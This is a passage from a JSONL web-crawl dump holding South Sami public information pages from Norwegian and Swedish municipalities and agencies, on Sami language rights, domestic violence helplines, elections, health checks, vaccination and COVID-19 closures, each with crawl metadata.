(07:45–15:45)","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/www.ornskoldsvik.se\/aarjelsaemiengiele\/ietniegiele","date":"2021-04-13T07:19:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038072175.30\/warc\/CC-MAIN-20210413062409-20210413092409-00153.warc.gz","language":"sma","language_score":0.999984622,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"sma_Latn_score\": 0.999984622001648}","num_words":432,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.072,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laavenjostoelatjkoe Saemiedigkine\nNordlaanten fylhkentjïelte jïh Saemiedigkie leah laavenjostoelatjkoen bïjre seamadamme mij lea faamosne boelhken 2019-2022. Laavenjostoelatjkoe edtja akten ihkuve staeries laavenjostose saemiej jïh saemien suerkiej bïjre Nordlaanten fylhkesne sjïehteladtedh, jïh daejtie ektesne prioriteeredh. Latjkoen leah jïjtsh mierieh dan bïjre:\n- Saemien gïelh (Saemielaaken gïelenjoelkedassh fulkedh, toelhkestimmie, saemien gïelejarngh, saemien sijjienommh, bïevnesh reaktaj jïh åeliedimmiej bïjre mah leah vïedteldihkie latjkose saemien gïeli bïjre)\n- Saemien kultuvre jïh seabradahkejielede (lïerehtimmie, jieleme, kultuvre, saemien maanah jïh noerh, kultuvremojhtesereereme, regijonaale soejkesjimmie jïh areaalereereme, almetjehealsoe, staarepolitihke, ekonomije)\n- Laavenjostoen aarhte (åeliedimmieh, tjåanghkoeh, reektemh j.n.v.)\nFylhkenhealsoegoerehtimmie 2020\nJaepien 2020 Nordlaanten fylhkentjïelte dam voestes fylhkenhealsoegoerehtimmiem tjïrrehti gusnie tråjjem jïh jieledekvaliteetem jarngesne utni. Illedahkh goerehtimmeste sijhtieh guvviem vedtedh guktie almetjh dååjroeh Nordlaantesne årrodh, jïh man madtjeles dah leah jïjtsh healsojne, sijjieevtiedimmine jïh faalenassigujmie årromebyjresisnie jïh voengesne. Goerehtimmie aktem saemien lissiebiehkiem utni, gusnie Saemien healsoedotkeme illedahkide gïetedi. Illedahkh vuesiehtieh saemien årrojh gaskemedtien viesjiehtåbpoe skååremem vedtieh goh jeatjah årrojh, joekoen sïerredimmien, healsoen, jieledevuekien, jieledetsiehkien jïh jieledekvaliteeten bïjre. Maahtah vielie goerehtimmiej bïjre lohkedh daesnie: Maahtah vielie lohkedh goerehtimmiej bïjre daesnie\nLïerehtimmie saemien gïelesne\nNordlaanten fylhkentjïelte lïerehtimmiem saemien gïelesne jåarhkeskuvlesne faalehte. Fylhkentjïelte goh skuvle-aajhtere dïedtem åtna ihke learohki reaktah saemien reaktide saemienlïerehtæmman illesuvvieh.Lohkh vielie saemien lïerehtimmien bïjre jåarhkeskuvlesne\nFylhkengærjagåetie\nFylhkengærjagåetie edtja viehkine årrodh guktie gærjagåetiej lea eantan stuerebe fokuse saemien gïelen, lidteratuvren jïh kultuvren bïjre bievnedh. Fylhkengærjagåetie lea gaskem jeatjah voejhkelamme saemien gïelem vielie våajnoes darjodh tsïeglesjimmien tjïrrh gærjagåetine, jïh lissine digitaale våaromevuekieh nuhtjedh juktie saemien lidteratuvrem vuesiehtidh jïh buektedh. Gosse Nordlaanten fylhkengærjagåetie sov dahkoesoejkesjem darjoeji, fylhkengærjagåetie sijhti tsiehkiem goerehtalledh saemien lidteratuvrese jïh bievnemen bïjre gærjagåetine. Goerehtalleme aaj akte guhkiebasse barkoe laavenjostoelatjkoste Nordlaanten fylhkentjïelten jïh Saemiedigkien gaskem. Fylhkengærjagåetie dam saemien goerehtallemem våaroeminie utni maam tjirrehti 2015, jïh reektehtsh aaj naan ektie væhtah utnieh. Juktie råajvarimmiem tjirrehtidh akte gihtjemegoerehtimmie dorjesovvi mij seedtesovvi fylhken åålmehgærjagåetide. Daelie reektehtse gaervies, jïh dam daesnie gaavnh; Datne dam gaavnh jis deadtah daase\nSaemien institusjovnh Nordlaantesne\nNordlaantesne mijjen leah jienebh saemien institusjovnh. Várdobaiki saemien jarnge lea Skánikesne (Evenskjer) men aaj faalenassh saemien årroejidie Nordlaantesne vadta. Dej leah museume, gïelejarnge, maanagïerte, gallerije, prosjektedarjomh jïh sjïere fokusem saemien healsoegyhtjelasside åtna.\nÁrran julevsaemien jarnge lea Hábmerisnie. Árran kultuvregåetine, gïelejarngine, museuminie jïh berteminie gïehtele. Dej aaj akte jïjtse maanagïerte, sïerrene goh jïjtse sïelte.\nStormen saemien jarnge lea Bådåddjosne jïh saemien gïelejarngem jåhta, Jïh lissine saemien darjoemidie staaresne sjïehteledtieh.\nDuoddara Rafe – pijtesaemien jarnge kontovresijjiem åtna Dokmosne Beiarnisnie. Duoddara Ráfe darjomh öörnie goh håalomh jïh kuvsjh, jïh lokaalh Dokmosne lea saemien gaavnedimmiesijjie saemien årroejidie dajvesne.\nSijti Jarnge lea Aarbortesne. Sijti Jarngen lea kultuvregåetie jïh gïelejarnge, åarjelsaemien lidteratuvren bïjre beavna jïh prosjektigujmie gïehtele.","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/www.nfk.no\/om-fylkeskommunen\/samisk\/sorsamisk\/maam-darjobe\/","date":"2021-04-10T19:48:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038057476.6\/warc\/CC-MAIN-20210410181215-20210410211215-00001.warc.gz","language":"sma","language_score":0.9999940395,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999940395355225}","num_words":410,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.222,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sámi logut muitalit \/ Saemien låhkoeh soptsestieh lea akte fïerhtenjaepien bæjhkoehtimmie lahtestamme saemien statistihken bïjre gelline ovmessie faagesuerkine. Bæjhkoehtimmie lea akte gille bæjhkoehtimmijste mij aktem vijries jïh bijjemes bijjieguvviem vadta gelliej faagesuerkiej bijjeli mah leah joekoen sjyöhtehke dejtie mah daajroem saemien tsiehkiej bïjre daarpesjieh. Menyjesne åelkiesbielesne gaavnh mah tjaalegh mah leah bæjhkoehtamme daan raajan.\nSaemien låhkoeh soptsestieh redigeradamme sjidtieh Faageles analyjsedåehkeste saemien statistihkese maam tjïelte- jïh orrestimmiedepartemeente nammohte Saemiedigkine ektine akten boelhkese mij njieljie jaepieh ryöhkoe.\nSnefrid Møllersen (Healsoe Finnmaarhke) lea analyjsedåehkien åvtehke jïh doh jeatjah lïhtsegh leah Torkel Rasmussen (Saemien jïlleskuvle), Julie Aslaksen (Statistisk Sentralbyrå), Per Tovmo (NTNU) jïh Mikkel Berg-Nordli (NIBR, OsloMet).\nTorunn Pettersen lea analyjsedåehkien koordinator. Gåarede gyhtjelassh, lahtestimmieh jïh raerieh saemien statistihken bïjre seedtedh e-påastese diekie: email@example.com.","id":"","dump":"CC-MAIN-2021-17","url":"http:\/\/samilogutmuitalit.no\/sma","date":"2021-04-12T01:49:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038065903.7\/warc\/CC-MAIN-20210411233715-20210412023715-00054.warc.gz","language":"sma","language_score":0.9999570847,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999570846557617}","num_words":120,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.233,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Njåvtasovvemem jih aajhtoem lïhke relasjovnine, våld och hot i nära relationer\nDov paarrebieliem datnem tsaapma? Datne vuajnah jallh govlh ahte dov tjïdtjie tsaepmien sjädta jallh datnem aaj tsaapmah? Dov jïjtjedomtoe skaarohten mïedtes soptsestimmijste sjïdth. Datne åadtjoeh årrodh giejnie datne sïjhth? Dov paarrebieliem datnem jallh dotnen ektievoeten ekonomijem gïehtjede. Datne tjoerh provredh läjhkan gåessie ih sïjhth? Dah leah vuesehth guktie maehtieh njåvtasovvemisnie arrijh; Dïhte maahta psykijen, fysisken, aati, ekonomijen jih seksuellen njåvtasovvemem arrijh. Sïejhmes njåvtasovvemem lea gaarmanäjjaj njåvtasovvemem nyjsenäjjide.\nBïerjen tjïelte\nTjïeltesne datne maahtah Aajne (indivijde) - jih fuelhkiehoksese jårredh, 0687-16100 ihke raeriem, dåarjegem jih viehkiem åadtjodh jis datnem njåvtasovveme, njåvtasovvemem vuajneme jallh njåvtasovvemem dorjeme. Mijjieh maehtebe datnem \/dijjem faaledh; Vaarjelimmies årromesijjem dallah deahpadimmesne jih krijsesoptsestimmiem maanide mah njåvtasovvemem vuajneme, goh Trappan soptsetimmiem.\nJis datne sïjhth jienebh daejredh tjïelten hoksehtimmien bïjre, jienebh bïevnesh dahkoesoejkesjisnie njåvtasovvemidie lihke relasjovnine gååvnese.\nStaaren nyjsenäjjajoure\nDaesnie datne gaajhkide bïevnesidie gaavnh mah datne daarpesjh ihke Staaren nyjsenäjjan jourese gaskesadtedh- aktem råajvas-staarem eah gienlaantesne. Datne dåarjegesyökije? Datnem bäjjese ringkebe jis buerie dutnjien lea. Jis ih datne mijjeste mijakt govlh, ringkh iktvielie. Såemies aejkien lea aehpie guarkedh maam jiehtien. Ij gie gan bïevnesh dov telefovnevaestiedimmesne laehpien jis ij latjkes don bïjre leah. Soptsestimmieh nyjsenäjjanjoureste iktesth \"tjeakoes nommereste\" lea.\nTelefovnetijjh\nÖörhtjebiejjh 9-12\nDäjsta-duarsta &aejlege 18-20\nTelefovne: 063-13 25 00 (Telefovnevaestiedassem jis datne sïjhth bïeljelimmiem laehpedh) www.kvinnojouren.nu\nJarnge njåvtasovvemasse (CMV)\nJarnge Njåvtasovvemasse akten projekte leenesne jih dutnjien faala:\nAajne dåarjege-soptsetimmiem\/raerievedtijem\nTrappan-soptsestimmie-duvtijes jih viehkine maanide jih noeride mah njåvtasovvemem dååjrehtamme.\nDatne maahtah jïjtje ringkedh jallh geerve almetjem datnem viehkede.\nKonsultasjovnesoptsetimmie barkijidie\nGaahpode Dåastoem- däjstan 09.00-11.00, jeatjah biejjh tijjedongkemem lea.\nSoptsestimmide åasehts leah jih Datne maahtah riekte jïjtje ringkedh ihke tijjem mïnnemasse dongkedh jallh telefovneraerievedtiejasse.\nDatne nuepiem åtnah anonym årrodh jih ibie mijjieh naan journal tjaelebe.. Jis mijjieh govlebe ahte maanah nåakelaakan feerh, mijjieh bäjhkoehtimmiedïedtem utnebe guktie sosialedïenesjelaakesne tjåådtje.\nCMV:n telefovnenommere njåvtasovvemidie; 0200-120 145 (åasehts)\nGaahpode dåastoem: Däjstan 09.00-11.00. Jeatjah tijjh tijjedongkemem\nMïnnemeadresse: Hamngatan 7\nJeatjah nommerh\nGosse ij leah kontovretijje jallh dallah feerlegisnie Ringkh 112\nBäjhkoehtimmiem dallah polijsestasjovnesne darjoeh jallh ringkh polijsem 114 14\nRingkh Skïemtjesåjhtoeraeriestimmiem 1177 jis datne såjhtoem jih båehtjierdimmiem daarpesjh\nMeadtoe-ååfferejourem Staaresne 063- 51 24 00, 073- 801 45 64\nProjekteåejvie Jarnge njåvtasovvemasse 063-114 32 66\nUppdaterad:","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/www.berg.se\/kommunochpolitik\/samisktforvaltningsomrade\/sidorpasamiska\/hokseviehkiejihsajhtoeomsorghjalpochvard\/njavtasovvememjihaajhtoemlihkerelasjovninevaldochhotinararelationer.4.2a948e2414c4aa4dd9a207ed.html","date":"2021-04-12T22:43:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038069267.22\/warc\/CC-MAIN-20210412210312-20210413000312-00137.warc.gz","language":"sma","language_score":0.9999724627,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 0.9999724626541138}","num_words":331,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Published: 11 March 2020\nVeeljemeöörnegen våaromh\nSveerjen veeljemeöörnegen våarome lea byjjes jïh seamma tjaatsestimmiereakta jïh veeljemh edtjieh frijje, tjeakoes jïh reaktoe årrodh.\nVeeljemeöörnege proporsjovneles. Dïhte sæjhta jiehtedh dah krirrieh åadtjoeh dan gellie mandaath v.g rïjhkebiejjesne goh man gellie tjaatsestimmieh dah leah veeljemisnie åådtjeme.\nKrirrieh mah sijhtieh veeljemisnie meatan årrodh dam Veeljemeåejvieladtjese bæjhkoehtieh.\nVeeljeme rïjhkebeajjan, tjïelte- jïh laantedigkiereeremidie\nVeeljemh rïjhkebeajjan, tjïelte- jïh laantedigkiereeremidie lea mubpien aejlegen skïereden fïerhten njealjeden jaepien\nVeeljeme Europa-parlameentese\nVeeljeme Europa-parlameentese lea naan aejkien voerhtjen-ruffien fïerhten vïjhteden jaepien. Veeljeme fïerhten EU-laanten nasjonaale veeljemelaaken mietie jïh Sveerjesne veeljemebiejjie iktesth aejlegsbiejjien.","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/www.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/veeljemeoornege\/byjjes-veeljemh.html","date":"2021-05-06T13:29:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243988753.97\/warc\/CC-MAIN-20210506114045-20210506144045-00519.warc.gz","language":"sma","language_score":0.9999895096,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"sma_Latn_score\": 0.9999895095825195}","num_words":89,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.124,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Välkomna in på en digital konsert med Marja Mortensson! Innan seminaret om urfolkskonst och modernismen bjuder vi på en gratis konsert på samma länk. Alla är välkomna!\nDelta genom länken:\nhttps:\/\/zoom.us\/j\/95420489371\nSijti Jarnge holder Aarborten konferansa\/Hattfjelldalskonferansen 2021 digitalt og har delt den opp i tre miniseminar. En med fokus på lovverk og areal, en om politikk og en om kunst. Seminaren er kostnadsfrie og alle er velkomne at delta.\nBakgrund\nHattfjelldalskonferansen ble arrangert første gang i 2004, og den har med noen unntak vært gjennomført hvert år siden. Fra starten av var konferansen et samarbeidsprosjekt mellom Høgskolen i Nesna og Sijti Jarnge, mens andre samarbeidspartnere har variert de ulike årene. Konferansen har alltid hatt hovedbase på Sijti Jarnge i Hattfjelldal, selv om deler av noen konferanser har vært gjennomført andre steder. I år går konferansen for forste gang digitalt, i et samarbeid mellom Nord universitet, Åarjelsaemien vierhtiesøøfoe, Hattfjelldal kommune og Polarsirkelns friluftsråd.Sijti Jarnge Aarborten konferansem 2021 digitaalelaakan öörnie, jïh dïhte golmen boelhkese juakasovveme.\nAkte boelhke laaki jïh areaali bïjre, mubpie lea politihken bïjre jïh gåalmede lea tjeahpoej\/kåansti bïjre.\nSeminaare lea eevre namhtah jïh vaajtelibie gaajhkesh dovnesh mealtan båetedh.\nGuktie åvtesne\nAarborten konferanse voestes aejkien jaepien 2004 öörnisovvi, jïh dïhte mahte fïerhten jaepien daen raejeste öörnesovveme. Aalkoevistie Sïjti Jarnge Neasnan jillieskuvline ektese vyöki dam konferansenm öörnedh, mænngan leah jeatjah laavenjostemeguejmieh aaj mealtan orreme.\nKonferanse lea iktegisth Sïjti Jarngesne, Aarbortesne orreme, jïlhts naan boelhkh konferanseste jeatjah lehkesne aaj öörnesovveme. Daen jaapetje konferanse lea digitaale konferanse, jïh dah gieh daen jaepien dam öörnieh: Noerhte Universiteete, Åarjelsaemien vierhtiesåafoe, Aarborten tjïelte jïh Polarsirkelns friluftsråd.","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/sijtijarnge.no\/nb\/20-mai-17-15-digital-konsert-med-marja-mortensson\/","date":"2021-06-23T06:12:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623488534413.81\/warc\/CC-MAIN-20210623042426-20210623072426-00174.warc.gz","language":"sma","language_score":0.9043104053,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.904310405254364, \"sme_Latn_score\": 0.05762186273932457, \"nob_Latn_score\": 0.03454151377081871}","num_words":255,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.171,"stopwords_ratio":0.075,"flagged_words_ratio":0.0,"lang_id_score":0.966,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Reeremedajve\nHijven daejredh\nOrrestaaren tjïelte meatan såevmien jïh saemien reeremedajvine. Dïhte dutnjien såevmien jïh saemien maadtojste sjïere reaktah vadta lissine dah sïejhme reaktah mah unnebelåhkoelaaken mietie faamosne abpe laantesne gaajhkide nasjonaale unnebelåhkojde jïh unnebelåhkoegïelide. Sveerjesne golme reeremedajvh, såevmien, meänkielin jïh saemien gusnie låhkoeh tjïelteste. Orrestaaren tjïelte ij leah ennje meatan meänkieli reeremedajvesne.\nSjïere gïelereaktah\nDatne reaktam åtnah dov gïelem nuhtjedh njaalmeldh jïh tjaaleldh gaskesadteminie tjïeltine jïh jeatjah åejvieladtigujmie sjïere ieresne maam tjïelte jallh åejvieladtje dïedtem åtna.\nTjïelte jallh åejvieladtje skåltoem åtna dutnjien njaalmeldh vaestiedassem vedtedh seamma gïeline jis datne dam sïjhth, tjaaleldh jarkoestimmiem moenemistie jïh skreejremistie vadta.\nTjïelte jïh åejvieladtje edtja servicem vedtedh dej gïeline mah tjïelten reeremedajvh. Tjïelte maahta moenedh sjïere tïjjem jïh sijjiem gusnie servicem vadtasåvva unnebelåhkoegïelesne.\nTjïelte edtja aaj gïehtelidh aktegs almetjh gaajhkine tsiehkine dåastoehtidh dejnie gïeline mah sjïere reaktah åtnah. Dïhte dan gaavhtan vihkeles tjïelte eadtjohke dejnie barkedh skååffedh barkijh dejnie maahtojne nasjonaale unnebelåhkoegïeline gaajhkine darjoeminie tjïeltesne.\nTjïelten dïedte faalehtidh aarhskuvlem jïh voeresehoksem, abpe jallh biehkine unnebelåhkoegïelesne, jis naaken dam sæjhta. Tjïelte edtja eadtjohke laaken mietie voeresidie bïevnedh gïeh viehkiem ohtsedh reaktan bïjre såevmien jïh saemien voeresehoksemasse jïh åelieh gïeh ohtsedh aarhskuvlem edtja sjïere gihtjedidh jis sijhtieh aarhskuvlem nasjonaale unnebelåhkoegïelesne.\nDarjomh mejstie gïelem jïh kultuvrem nænnoestidh\nGellie tjïelten darjoeminie darjomh öörnieh, soptsestalleminie dejnie nasjonaale unnebelåhkojne. Daj darjomh edtjieh gïelem, kultuvrem jïh identiteetem nænnoestidh. Naan vuesiehtimmieh leah: Såevmien våhkoe tjïelten gaavnedimmiesijjine, vaajesebodth jïh poesijeiehkedh såevmiegïelesne gærjagåetesne. Saemien våhkoe jïh teatere, musihke, filmh jïh konserth såevmie- jïh saemiengïelesne. Ræhpas ektieraeresne jïh soptsestalleminie unnebelåhkoeiktedæjjine jïh kulturstrateginie datne nuepiem åtnah raeriem vedtedh darjomh jïh dahkoeh mah dov gïelem, kultuvrem jïh maadtoem nænnoestieh.\nSoptsestalleme jïh tsevtseme\nOrrestaaren tjïelte staatedåarjoem åådtje såevmien- jïh saemienreeremedajvi åvteste jïh dïhte ektieraeriemodellem gååvnese staatedåarjoen gïetedimmiem jïh åtnoen bïjre. Modelle gohtje Budgetsamråd för finska och samiska \/ Budsjetteektieraerie såevmien jïh saemien gaavhtan gusnie dovne tjirkijh jïh årrojh såevmien jïh saemien maadtojste meatan. Årrojh Orrestaaren tjïelteste veeljieh såevmie- jïh saemiengïeli åvteste, budsjettektieraaran ræhpas gïelesjïere ektieraeresne.\nGaskesadteme\nGaskesadtemejarnge ajve daaroste\nGaskesadtemejarnge\nTelefovne: 0660-880 00\nRæhpastïjjh telefovne: 07:30–17:00 helgfria vardagar (15 maj–15 september 07:30–16:15)\nE-påaste: firstname.lastname@example.org\nGåassoehtimmieadressh\nGåassoehtimmiejarnge staaregåetie Kronan: Järnvägsgatan 6, entréplan\nRæhpastïjjh gåassoehtimmiejarnge Kronan: 07:45–17:00 gaajhkh hïeljehts aarkebiejjieh (suehpeden 15.b.– skïereden 15.b. 07:45–16:15)\nDåastove staaregåetie Nygatan: Nygatan 16, plan 1\nRæhpastïjjh dåastove Nygatan: 07:45–16:30 gaajhkh hïeljehts aarkebiejjieh, beapmoegaptjeme 11:30–12:30 (suehpeden 15.b. – skïereden 15.b. (07:45–15:45)","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/ovikparkering.se\/aarjelsaemiengiele\/reeremedajve","date":"2021-06-18T20:39:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487641593.43\/warc\/CC-MAIN-20210618200114-20210618230114-00110.warc.gz","language":"sma","language_score":0.9999905825,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"sma_Latn_score\": 0.9999905824661255}","num_words":362,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"SáMOS søker pilotbarnehager\nSametingets barnehageprosjekt SáMOS, samiske barn i nye pedagogisk rom, tilbyr nå muligheten for samiske barnehager å søke om å bli pilotbarnehage.\nPublisert: 03.09.2019 kl 10:13\nMålet med pilotbarnehageordningen i SáMOS er å samifisere barnehagen og gjennom dette legge et grunnlag for Sametingets SáMOS prosjekt, for å utvikle samisk barnehagepedagogikk og arbeidsmetode etter samisk tankemåte.\nHensikten med SáMOS-prosjektet er å utvikle pedagogisk arbeid med utgangspunkt i samiske verdier, naturkunnskap, språk, kultur, ledelse og tradisjonskunnskaper. Pilotbarnehagearbeidet gjennomføres sammen med forskere fra Samisk høgskole.\nVi starter opp med fire pilotbarnehager, og deretter skal flere barnehager involveres. Søknadsfristen er 15. oktober.\n– Nå har SáMOS-prosjektet kommet så langt at det konkret skal forske og utvikle samiske arbeidsmetoder sammen med samiske barnehager. Det blir interessant å følge samisk pedagogisk utvikling, sier sametingsråd Mikkel Eskil Mikkelsen.\nSáMOS pilovtemaanagïerth ohtsede\nSaemiedigkien maanagïerteprosjekte SáMOS, saemien maanah orre ektietjiehtjielinie, daelie nuepiem vadta saemien maanagiertide syökedh pilovtemaanagïertine sjïdtedh.\nUlmie SáMOS:en pilovtemaanagïerteöörneginie lea maanagïertem saemiedehtedh jïh dan tjïrrh våaromem bïejedh Saemiedigkien SáMOS-prosjektese, juktie saemien maanagïertepedagogihkem jïh barkoevuekiem evtiedidh saemien ussjedimmievuekien mietie.\nAajkoe SáMOS-prosjektine lea pedagogeles barkoem evtiedidh saemien aarvoej mietie, eatnemedaajroe, gïele, kultuvre, stuvreme jïh aerpievuekien daajroeh. Edtja pilovtemaanagïertebarkoem tjïrrehtidh dotkijigujmie ektine Saemien jïlleskuvleste.\nMijjieh aelkebe njieljie pilovtemaanagïertigujmie, jïh dan mænngan jienebh maanagïerth edtjieh meatan vaaltasovvedh. Ohtsememierie golken 15.b.\n– Daelie SáMOS-prosjekte dan gåhkese båateme guktie edtja vihtieslaakan saemien barkoevuekieh dotkedh jïh evtiedidh, saemien maanagïertigujmie ektine. Ïedtjie sjædta dam saemien pedagogeles evtiedimmiem dåeriedidh, saemiedigkieraerie Mikkel Eskil Mikkelsen jeahta.","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/nearadio.no\/s-mos-soker-pilotbarnehager\/19.22305","date":"2021-06-17T21:19:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487633444.37\/warc\/CC-MAIN-20210617192319-20210617222319-00448.warc.gz","language":"sma","language_score":0.9550458789,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 0.9550458788871765, \"sme_Latn_score\": 0.02923169545829296, \"nob_Latn_score\": 0.014795215800404549}","num_words":235,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":0.96,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ulmie lea goerehtidh guktie datne veasoeh jïh datnem skreejredh jieleme- jïh fïerhtenbeajjetje vuekieh utnedh mah leah buerie dov healsose.\nMannasinie edtjem healsoegoerehtimmiem darjodh?\nDatne skreejrehtimmieh, raerieh jïh viehkieh åadtjoeh guktie buerie veasodh. Vaajmoeskïemtjelassh, stroke, diabetese jïh gellie cancereskïemtjelassh maehtieh jielemetsiehkijste båetedh. Aaj smaave jeatjahtehtemh darjodh maahta stoerre aevhkine årrodh.\nMaam edtjem darjodh jis im faalenassem åadtjoeh?\nJis ih faalenassem åadtjoeh dennie tïjjemieresne gåessie 40, 50 jallh 60 jaepieh illh edtjh dov healsoejarngem jallh skïemtjegåetiem bïeljelidh dan bïjre. Maahtah\n1177 Vårdguiden e-dïenesjh nuhtjedh. Datne leah aaj buerie båateme dam goerehtimmiem jaepien mænngan darjodh jis buerebe dutnjan sjeahta.","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.1177.se\/sma-se\/Vasterbotten\/other-languages\/other-languages\/halsoundersokningar-for-dig-som-fyller-jamt---andra-sprak---vasterbotten\/","date":"2021-07-23T19:55:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046150000.59\/warc\/CC-MAIN-20210723175111-20210723205111-00155.warc.gz","language":"sma","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000075101852417}","num_words":92,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.12,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemiengiele\/Sydsamiska\nVaksinasjovne sohten vöösteVaccinera dig mot influensa - sydsamiskaThe content concerns Västerbotten\nSohte vijrusistie båata jïh dan aelhkies laaneste. Sohtevijruse Sveerjese fïerhten jaepien båata jïh daamhtaj daelvien. Vijruse aelmien tjïrrh laaneste jïh seejh voestes iereste jis naaken lea skïemtje, gossehte jallh gasjna. Jis sohtem åadtjoeh dellie daamhtaj vaejlie, åejjieh saejriedieh, åedtjieh bååktjedh, tjeapohke saejrede jïh gossehte. Maahtah sohten vööste vaarjelidh jis vaksineeredh.","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.1177.se\/sma-se\/Vasterbotten\/other-languages\/other-languages\/vaccination-mot-influensa---andra-sprak---vasterbotten\/","date":"2021-07-31T12:23:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046154089.6\/warc\/CC-MAIN-20210731105716-20210731135716-00539.warc.gz","language":"sma","language_score":0.9999494553,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999494552612305}","num_words":61,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Njoktjen 16.b. orre raerieh böötin dutnjien mij lea sovhtine, Gaajhkesh dovnesh symptomigujmie faahketji voejngehtasseinfeksjovnese edtjieh gåetesne årrodh, Almetjehealsoeinstituhte orre, orrestamme raerine tjaala. Aaj dah mej lijnies symptomh, goh sovhte jallh baaktjese tjeapoehkisnie, byöroeh gåetesne årrodh aktem dygnem mænngan dej eah leah vielie symptomh.\nNjoktjen 15. b. Reerenasse orre mieriedimmiem böökti mij maahta almetjh nihtedh hæhtjosne årrodh aktene jeatjah tjïeltesne goh desnie gusnie årroeh. Daate sæjhta jiehtedh almetjh maehtieh laaken mietie gåetide saadtesovvedh jis daerpies sjædta.\nLissine joekoen gellie voenges nænnoestimmieh jïh feelemerestriksjovnh.\nJuktie geerjehtimmiem Covid-19-vijrusistie tjöödtjestidh, jïh viehkiehtidh daerpies healsoe- jïh hoksedïenesjh tjåadtjoehtidh Healsoedirektoraate gellie råajvarimmieh sjæjsjalamme mah leah faamosne duarstan, njoktjen 12. b. 1800 raejeste.\nDaah institusjovnh steegkesuvvieh:\n- Maanagïerth\n- Maanaskuvlh\n- Noereskuvlh\n- Jåarhkeskuvlh\n- Universiteeth jïh jïlleskuvlh\n- Jeatjah ööhpehtimmieinstitusjovnh.\nLissine gellie öörnedimmieh jïh gïehtelimmieh steegkesuvvieh:\n- Kultuvreöörnedimmieh\n- Gaarsjelimmieöörnedimmieh jïh öörnedamme gaarsjelimmiedarjomh dovne gåetien sisnie jïh ålkone\n- Gaajhkh gïehtelimmieh gåassoehtimmiesuerkesne, bielelen gåassoehtimmiesijjieh gusnie beapmoem gåassohte, goh kantijnah jïh byöpmedimssijjieh mah maehtieh sjïehteladtedh guktie guessieh maehtieh unnemes 1 meeteren jovnesem gaskemsh utnedh. Ij edtjh beapmoem gåassoehtidh naemhtie guktie almetjh jïjtjh maehtieh dam beapmoem vaeltedh maam edtjieh byöpmedidh. Gåassoehtimmiesuerkesne 